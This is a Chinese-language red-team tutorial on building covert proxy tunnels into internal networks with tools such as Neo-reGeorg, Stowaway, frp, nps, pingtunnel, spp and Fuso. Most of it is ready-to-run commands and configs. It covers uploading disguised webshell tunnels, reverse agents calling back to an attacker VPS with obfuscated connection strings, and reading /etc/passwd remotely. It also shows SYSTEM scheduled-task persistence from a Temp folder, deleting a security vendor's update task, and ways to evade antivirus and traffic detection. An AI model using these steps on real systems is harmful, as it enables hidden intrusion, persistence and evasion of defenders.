红队-代理隧道

前言

啥是代理隧道:理论上,任何接入互联网的计算机都可以被访问,但事实上,内网的计算机由于安全问题而被防火墙等边界设备做一些策略隔离,从而不被外界访问或诸多限制。这时我们可以借助一些端口转发工具来建立边界设备允许的协议通信,从而使我们可以访问内网环境,或者说内网机器可以与我们建立通信。也就是说代理隧道就是我们进入内网的通道。

正向代理

架设在客户机和目标主机之间,简单的说,就是客户端主动向代理发送一个请求,然后代理向服务器请求并将获取的内容返回给客户端

image-20220902231147705

基本情况下:

监听本地一个端口,然后连接部署在远程WEB的webshell,远端的webshell会把端口转发请求转发到本地或者本地内网远程的主机

Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目

用法:

1、设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

1
python3 neoreg.py generate -k password

2、使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

1
python3 neoreg.py -k password -u http://xx/tunnel.php -l 127.0.0.1 -p 8888

直接访问生成上传的的tunnel文件,显示自定义的404页面

image-20220902101325201

image-20220902095004500

tips:

1.支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)

1
python3 neoreg.py generate -k <you_password> --file 404.html --httpcode 404

连接 WEB 服务器,在本地建立 socks5 代理

1
python3 neoreg.py -k password -u http://127.0.0.1/tunnel.php -l 127.0.0.1 -p 8888 --skip

2.如服务端 WEB,需要设置代理才能访问

1
python3 neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080

3.如需 Authorization 认证和定制的 Header 或 Cookie

1
python3 neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

4.分散请求,可上传到多个路径上,如内存马

1
python3 neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3>

image-20220902102007389

5.开启内网转发,应对负载均衡

1
python3 neoreg.py -k <you_password> -u <url> -r <redirect_url>

6.端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )

1
python3 neoreg.py -k <you_password> -u <url> -t <ip:port>

tunna

https://github.com/SECFORCE/Tunna

TLDR: Tunnels TCP connections over HTTP(通过HTTP封装隧道通信任何TCP)

用法:

1、将webshells中对应的conn文件传到相应的服务器上

image-20220902102957934

2、攻击主机上执行如下命令,将内网服务器(2.0.0.1)的80端口映射到本地8888端口

1
python2 proxy.py -u http://127.0.0.1/conn.php -l 8888 -a 2.0.0.1 -r 80 -v

即访问本地的8888端口即可访问2.0.0.1的80端口服务

image-20220902111129022

tips:

1.数据包大小限制,有些webshell对大小有限制

1
--buffer=BUFFERSIZE, -b BUFFERSIZE*

2.上游代理

1
--up-proxy=UPPROXY, -x
1
--auth, -A Upstream proxy requires authentication  认证

3.other

1
2
3
4
5
6
7
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging thread interval (default = 0.5)

--start-ping, -s Start the pinging thread first - some services send data first (eg. SSH)

--cookie, -C Request cookies

--authentication, -t Basic authentication

reDuh&reGeorg

https://github.com/sensepost/reDuh

https://github.com/sensepost/reGeorg

工具比较老,流量比较明显,目前只支持Python 2.7

用法:

1、将其下载的tunnel文件传到目标web目录

image-20220902121934201

2、连接 WEB 服务器,在本地建立 socks5 代理,用法和Neo类似

1
python2 reGeorgSocksProxy.py -u http://127.0.0.1/tunnel.php

tunnel.php在php5.3以后禁用掉了dl()函数,参考改成如下

https://github.com/sensepost/reGeorg/issues/16

反向代理

image-20220902231124816

Stowaway

https://github.com/ph4ntonn/Stowaway

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具

用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

Stowaway一共包含两种角色,分别是:

  • admin 渗透测试者使用的主控端
  • agent 渗透测试者部署的被控端

admin

admin开启监听,由于admin是交互式界面,这里推荐用screen运行,保证不会因ssh退出而中断

1
2
3
4
5
6
7
8
9
10
11
# 创建一个screen
screen -S stowaway
# 开启监听
./linux_x64_admin -l 443 -token 919e1c9c76957eeb6add61cd3b8bb4ce

# 切换到后台
ctrl+A+D
# 显示screen创建的进程
screen -ls
# 切换到前台
screen -r stowaway

过云函数配置

1
./admin -l 80 -token token -down ws

交互式界面分为主界面(admin) >> 和节点界面(node 0) >>

1
2
3
4
5
6
7
8
# 打印帮助
help
# 进入节点
use [node number]
# 退出节点
back
# 退出程序
exit

主界面指令,指令可以tab补全

1
2
3
4
# 打印节点拓扑图
topo
# 打印节点详细信息
detail

强调一下encrypt指令

1
2
3
4
5
6
7
8
9
10
11
# 加密agent连接参数,会返回一个加密字符串
encrypt "windows_x64_agent.exe -c 10.251.251.129:443 -token 919e1c9c76957eeb6add61cd3b8bb4ce"
encrypt "linux_x64_agent -c x.x.x.x:443 -token 919e1c9c76957eeb6add61cd3b8bb4ce"


# agent跟加密后的字符串连接admin
# !!!注意文件名如果修改了,那么连接会失败
C:\Users\Administrator\Documents\tools\stowaway\windows_x64_agent.exe AAAAAAAAAAAAAAAAAAAVktfRk5TWlBcV14rF11RMUFeVFcRRgpXB1hBSmpPU1E9VwYBCkJGCgpXDU8RPUxVUQ==

./linux_x64_agent AAAAAAAAAAAAAATEQNVUlvVgQBbk9VUF9aXVtXT0xrSxYZKw4MAABUVVhXEEk8QVUDaVhSUgsRDl8PERxpSVVQbANfBwxADww=

image-20220902151207024

执行agent并且跟上加密的字符串,成功连接

image-20220902151304065

image-20220902151315085

node指令,这里是讲扩展指令,其他指令查看stowaway文档

1
2
3
4
5
6
7
# 非交互式命令
run "cat /etc/passwd"
# 内联命令,内联命令就是用代码实现的而不是调用的系统程序
# 打印目前支持的命令
inline help
# 注意下这里每个字符串之间都需要有空格,否则无法过滤。
inline ps | grep admin

节点间连接

1
2
3
4
# 连接其他节点
connect x.x.x.x:9999
# 监听其他节点的连接
listen 9999

开启socks5代理

1
socks 10003 pass@123 pass@123

image-20220902151511504

image-20220902151538434

PS: shell命令不要使用

agent

agent分为监听模式和主动连接模式

1
2
3
4
5
6
# 监听,这是明文的,需要在admin上用encrypt加密
./agent -l 9999 -token token
# 连接
./agent -c 127.0.0.1:9999 -token token
# 过云函数连接目标
./agent -c 127.0.0.1:9999 -token token -up ws -domain xxx.aliyun.com

多级代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

需要开启监听的node0机器上:
encrypt "linux_x64_agent -l 9999 -token 919e1c9c76957eeb6add61cd3b8bb4ce"

./linux_x64_agent AAAAAAAAAAAAAAAAAAAATEQCVUFmQQ8UchUIDgsaTFBfTB1uGw9XaFdeUFkRCQtYFBw7TgdXO1IFXQwWWAoL

进入admin,进入需要连接的node节点
connect 10.251.251.129:9999


在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现

举一个简单的例子

admin: ./stowaway_admin -l 9999 -s 123
此时agent-1已经连上admin

agent-1: ./stowaway_agent -c 127.0.0.1:9999 -s 123
此时用户还想连接agent-2,如下

agent-2: ./stowaway_agent -l 10000 -s 123
那么,此时用户可以通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点

-l 10000 -tls



假如此时用户还希望连入一个节点agent-3,但是通过agent-1无法访问agent-3

那么,此时用户可以通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接

等admin操作完成后,agent-3启动如下

agent-3: ./stowaway_agent -c 127.0.0.1:10001 -s 123
就可以将agent-3作为agent-1的另一个子节点加入网络了

关于listen以及sshtunnel的详细介绍,可以参看下方的命令解析

Venom

https://github.com/Dliv3/Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

用法与Stowaway类似,具体看文档即可

image-20220902222709113

nps

https://github.com/ehang-io/nps/releases

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理p2p等,并带有功能强大的web管理端。

完整文档

https://ehang-io.github.io/nps/#/?id=nps

安装

releases

下载对应的系统版本即可,服务端和客户端是单独的

或者源码安装

  • 安装源码 go get -u ehang.io/nps
  • 编译

服务端go build cmd/nps/nps.go

客户端go build cmd/npc/npc.go

服务端

下载完服务器压缩包后,解压,然后进入解压后的文件夹

  • 执行安装命令

对于linux|darwin sudo ./nps install

对于windows,管理员身份运行cmd,进入安装目录 nps.exe install

  • 启动

对于linux|darwin sudo nps start

对于windows,管理员身份运行cmd,进入程序目录 nps.exe start

1
安装后windows配置文件位于 C:\Program Files\nps,linux和darwin位于/etc/nps

停止和重启可用,stop和restart

如果发现没有启动成功,可以使用nps(.exe) stop,然后运行nps.(exe)运行调试,或查看日志(Windows日志文件位于当前运行目录下,linux和darwin位于/var/log/nps.log)

  • 访问服务端ip:web服务端口(默认为8080)
  • 使用用户名和密码登陆(默认admin/123,正式使用一定要更改)
  • 创建客户端

登录后点击右侧客户端,然后新增:

image-20220902230049932

image-20220902230103132

这里ID和密匙等会要用。

点击右侧socks代理,新增。ID为上面的id,端口填一个没有被占用的端口就好了,保存后server就配置完毕了。

客户端

1、无配置文件模式
将npc上传至机器,并执行命令:

1
npc.exe -server=10.251.251.129:8024 -vkey=8o8z9ksioubfbp11

2、注册到系统服务(开机启动、守护进程)

对于linux、darwin

  • 注册:sudo ./npc install 其他参数(例如-server=xx -vkey=xx或者-config=xxx)
  • 启动:sudo npc start
  • 停止:sudo npc stop
  • 如果需要更换命令内容需要先卸载./npc uninstall,再重新注册

对于windows,使用管理员身份运行cmd

  • 注册:npc.exe install 其他参数(例如-server=xx -vkey=xx或者-config=xxx)
  • 启动:npc.exe start
  • 停止:npc.exe stop
  • 如果需要更换命令内容需要先卸载npc.exe uninstall,再重新注册

3、配置文件模式

1
./npc -config=npc配置文件路径

frp

https://github.com/fatedier/frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

完整配置文档:https://gofrp.org/docs

编译

1
2
3
4
5
6
7
8
代理
go env -w GOPROXY=https://goproxy.cn

下载源码
git clone github.com/fatedier/frp

编译
make -f Makefile.cross-compiles

服务端

1
./frps -c frps.ini

frps.ini:

1
2
3
4
5
6
7
8
9
[common]
bind_ip = 10.251.251.129
bind_port = 8880
privilege_token = afsafagwg8789yr89hiufaiu
tls_only = true
protocol = tcp
dashboard_port = 81
dashboard_user = admin
dashboard_pwd = Pass

image-20220902160004119

客户端命令行

1
frpc.exe -t 1.1.1.1 -p 8880

客户端配置文件

1
frpc.exe -c frpc.ini

frpc.ini:

1
2
3
4
5
6
7
8
9
10
11
12
[common]
server_addr = 10.251.251.129
server_port = 8880
privilege_token = afsafagwg8789yr89hiufaiu
tls_enable = true

[plugin_socks5]
type = tcp
remote_port = 6001
plugin = socks5
plugin_user = admin
plugin_passwd = admin

image-20220902155940657

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
vps:x.x.x.x

vps的frps.ini

[common]
bind_ip = x.x.x.x
bind_port = 8888
privilege_token = afsafagwg8789yr89hiufaiu
tls_only = true
protocol = tcp
dashboard_port = 81
dashboard_user = admin
dashboard_pwd = Pass

一级代理:

客户端1:
[common]
server_addr = x.x.x.x
server_port = 8888
privilege_token = afsafagwg8789yr89hiufaiu
tls_enable = true

[plugin_socks5-test1]
type = tcp
remote_port = 6001
plugin = socks5
plugin_user = admin
plugin_passwd = admin

二级代理:

服务端2:
[common]
bind_ip = 10.251.251.128
bind_port = 8118
privilege_token = afsafagwg8789yr89hiufaiu
tls_only = true

客户端2:
[common]
server_addr = x.x.x.x
server_port = 8888
privilege_token = afsafagwg8789yr89hiufaiu
tls_enable = true

[plugin_socks5-test2]
type = tcp
local_ip = 10.251.251.128
local_port = 6001
remote_port = 6001


客户端3:
[common]
server_addr = 10.251.251.128
server_port = 8118
privilege_token = afsafagwg8789yr89hiufaiu
tls_enable = true

[plugin_socks5-test3]
type = tcp
remote_port = 6001
plugin = socks5
plugin_user = admin
plugin_passwd = admin

计划任务

1
2
3
4
5
6
7
8
#创建名为“frp”每天9点执行frpc的计划任务
schtasks /create /tn frp /tr "D:\frpc.exe -c frpc.ini" /sc DAILY /st 09:00:00
#删除名为“frp”的计划任务
SCHTASKS /Delete /TN "frp" /f
#查询名为“frp”的计划任务
SCHTASKS /Query /TN frp
SCHTASKS /Delete /TN "\Microsoft\Windows\360\update"
SCHTASKS /Create /RU SYSTEM /sc minute /mo 1 /tr "c:\Windows\Temp\fpc-wss-domain.exe -c c:\Windows\Temp\frc.txt"

frp过cdn

https://github.com/uknowsec/frpModify

frps.ini

1
2
3
4
5
6
[common]
bind_ip = 10.251.251.129
bind_port = 8880
privilege_token = afsafagwg8789yr89hiufaiu
tls_only = true
protocol = websocket

frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = domain
server_port = 8880
privilege_token = afsafagwg8789yr89hiufaiu
tls_enable = true
protocol = websocket

[plugin_socks5-test]
type = tcp
remote_port = 6001
plugin = socks5
plugin_user = admin
plugin_passwd = admin

frp过http代理

frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = 10.251.251.129
server_port = 8880
privilege_token = afsafagwg8789yr89hiufaiu
http_proxy = http://127.0.0.1:8080
tls_enable = true

[plugin_socks5-test]
type = tcp
remote_port = 6001
plugin = socks5
plugin_user = admin
plugin_passwd = admin

pingtunnel

https://github.com/esrrhs/pingtunnel

端口转发

server

1
sudo ./pingtunnel -type server -key 457832424864
1
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

client

1
./pingtunnel -type client -l :4455 -s x.x.x.x -t x.x.x.x:8888 -tcp 1 -noprint 1 -nolog 1 -key 457832424864

注:客户端监听本地的4455 端口,指定服务端IP为47.x.x.x,然后将本地端口4455 的流量转发

frp + pingtunnel 搭建隧道

frp的server选127.0.0.1:4455即可,其他不变

icmp-spp

https://github.com/esrrhs/spp

spp是一个简单强大的网络代理工具。

image-20220902212752451

  • 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
  • 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
  • 协议和类型可以自由组合
  • 外部代理协议和内部转发协议可以自由组合
  • 支持shadowsocks插件,spp-shadowsocks-pluginspp-shadowsocks-plugin-android

服务器

  • 在vps的8888端口开启tcp流量监听
1
./spp -type server -proto tcp -listen :8888

通过修改-proto参数可以自主选择监听流量协议类型
这里需要注意,ricmp协议无需设置端口

1
./spp -type server -proto ricmp -listen 0.0.0.0
  • 可以使用一条命令在不同端口监听不同协议
1
./spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0

客户端

  • 将vps的8999端口代理至本机8080
1
./spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp
  • 将本机器80端口代理至vps的8998端口
1
./spp -name "test" -type reverse_proxy_client -server vps:8888 -fromaddr :8998 -toaddr :80 -proxyproto tcp
  • 启动tcp正向socks5代理,在本地8080端口开启socks5协议,代理至server网络环境下
1
./spp -name "test" -type socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp

挂代理 socks5:127.0.0.1:8080

  • 启动tcp反向socks5代理,代理至client网络环境下
1
./spp -name "test" -type reverse_socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp

挂代理 socks5:vps:8080

  • 其他代理协议,只需要修改client的proxyproto参数即可,例如
1
2
3
4
5
6
7
8
9
10
11
代理udp
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp

代理rudp
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8081 -toaddr :8081 -proxyproto rudp

代理ricmp
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8082 -toaddr :8082 -proxyproto ricmp

同时代理上述三种
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -fromaddr :8081 -toaddr :8081 -proxyproto rudp -fromaddr :8082 -toaddr :8082 -proxyproto ricmp
  • client和server之间的内部通信,也可以修改为其他协议,外部协议与内部协议之间自动转换。例如
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
代理tcp,内部用rudp协议转发
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rudp

代理tcp,内部用ricmp协议转发
# ./spp -name "test" -type proxy_client -server www.server.com -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto ricmp

代理udp,内部用tcp协议转发
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto tcp

代理udp,内部用kcp协议转发
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto kcp

代理tcp,内部用quic协议转发
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto quic

代理tcp,内部用rhttp协议转发
# ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rhttp
  • 也可以使用docker
1
# docker run --name my-client -d --restart=always --network host esrrhs/spp ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp

Fuso

扶桑

一款 快速🚀 稳定 跨平台 高效的内网穿透,端口转发工具,Rust编写

https://github.com/editso/fuso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
1. 端口转发
fuc --forward-host xxx.xxx.xxx.xxx --forward-port
--forward-host: 转发到的地址
--forward-port: 转发到的端口
如: 转发流量到内网 10.10.10.4:3389
> fuc --forward-host 10.10.10.4 --forward-port 3389

2. socks5:
fuc --socks --su --s5p xxx --s5u xxx
--su: 可选的, 开启udp转发,
--s5p: 可选的, 认证密码, 默认不进行密码认证
--s5u 可选的, 认证账号, 默认账号 anonymous
--socks: 可选的, 开启socks5代理, 未指定--su的情况下不会转发udp
如: 开启udp转发与密码认证
> fuc --socks --su --s5p 123 --s5u socks
此时, 已开启udp转发,连接密码为 "123",账号为 "socks"

3. 指定穿透成功时访问的端口
fuc -b xxxx
-b | --visit-bind-port: 可选的, 默认随机分配
如: 访问外网端口 8888 转发到内网 80
> fuc --forward-port 80 -b 8888

4. 桥接模式 注意: 目前不能转发udp
fuc --bridge-listen xxxx --bridge-port xxx
--bridge-listen | --bl: 监听地址, 默认 127.0.0.1
--bridge-port | --bp: 监听端口, 默认不启用桥接
如: 开始桥接模式,并监听在9999端口, 本机ip地址为: 10.10.10.2
> fuc --bridge-listen 0.0.0.0 --bridge-port 9999 # 开启桥接
> fuc 10.10.10.2 9999 # 建立连接

级联:
> fuc --bridge-listen 0.0.0.0 --bridge-port 9999 # 第一级, IP: 10.10.10.2
> fuc --bridge-listen 0.0.0.0 --bridge-port 9991 10.10.10.2 9999 # 第二级, IP: 10.10.10.3
> fuc 10.10.10.3 9991 # 最终

5. 将连接信息通知到 Telegram 或其他
fus --observer "program:[arguments]"
--observer: 建立连接或断开连接时的钩子
如: 使用bash脚本将连接信息通知到tg
> fus --observer "/bin/bash:[telegram.sh]"

6. 指定客户端与服务端通信的端口
fuc --channel-port 8888 ...
--channel-port: 可选的, 客户端与服务端通信端口, 默认随机

fuso

在10.251.251.128的30000上开启socks5代理,用户名为admin,密码为admin

1
2
fuc.exe 8.134.103.4 6722 --socks --su --s5p admin --s5u admin -b 30000 

1
2
3
4
5
fuc.exe 8.134.103.4 6722 --socks --su --s5p admin --s5u admin -b 30000 --bridge-listen 0.0.0.0 --bridge-port 9999 #在10.251.251.128

fuc --bridge-listen 0.0.0.0 --bridge-port 9991 10.251.251.128 9999 #在10.251.251.129

fuc 10.251.251.128 9991 --socks --su --s5p admin --s5u admin -b 30000 #10.251.251.129

免杀隐匿

对于代理的免杀隐匿,主要就以下几个方面,以frp举例

工具本身特征

对于frp来说,工具本身的特征来源其fatedier/frp关键字,以及开源生成的md5文件特征,这里可批量替换特征值,同时可以将源码进行随机混淆和重新编译即可。

流量特征

frp 建立 TLS 连接的第一个字节为 0x17

  • 非TLS特征明显
1
frpc.ini 加入tls_enable = true

从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tlsenable = true 来启用此功能,安全性更高。为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。通过将 frps.ini 的 [common] 中 tlsonly 设置为 true,可以强制 frps 只接受 TLS 连接。

配置文件

配置文件留在客户端不安全,且麻烦,也难以部署等等

通常来说我们的跳板机都是默认可以访问到我们部署的服务端的,所以可以采取远程加载配置或者直接在客户端中写入配置文件的方式来避免文件落地(Linux下虽可以看远程地址,但是可以搞一个临时的域名或ip)

远程服务器特征

可采用CDN和云函数的方式进行上线,从而保护达到隐藏服务器ip和

参考链接

https://github.com/L-codes/Neo-reGeorg
https://github.com/SECFORCE/Tunna
https://github.com/sensepost/reDuh
https://github.com/sensepost/reGeorg
https://github.com/ph4ntonn/Stowaway
https://github.com/Dliv3/Venom
https://github.com/ehang-io/nps
https://github.com/fatedier/frp
https://github.com/esrrhs/pingtunnel
https://github.com/editso/fuso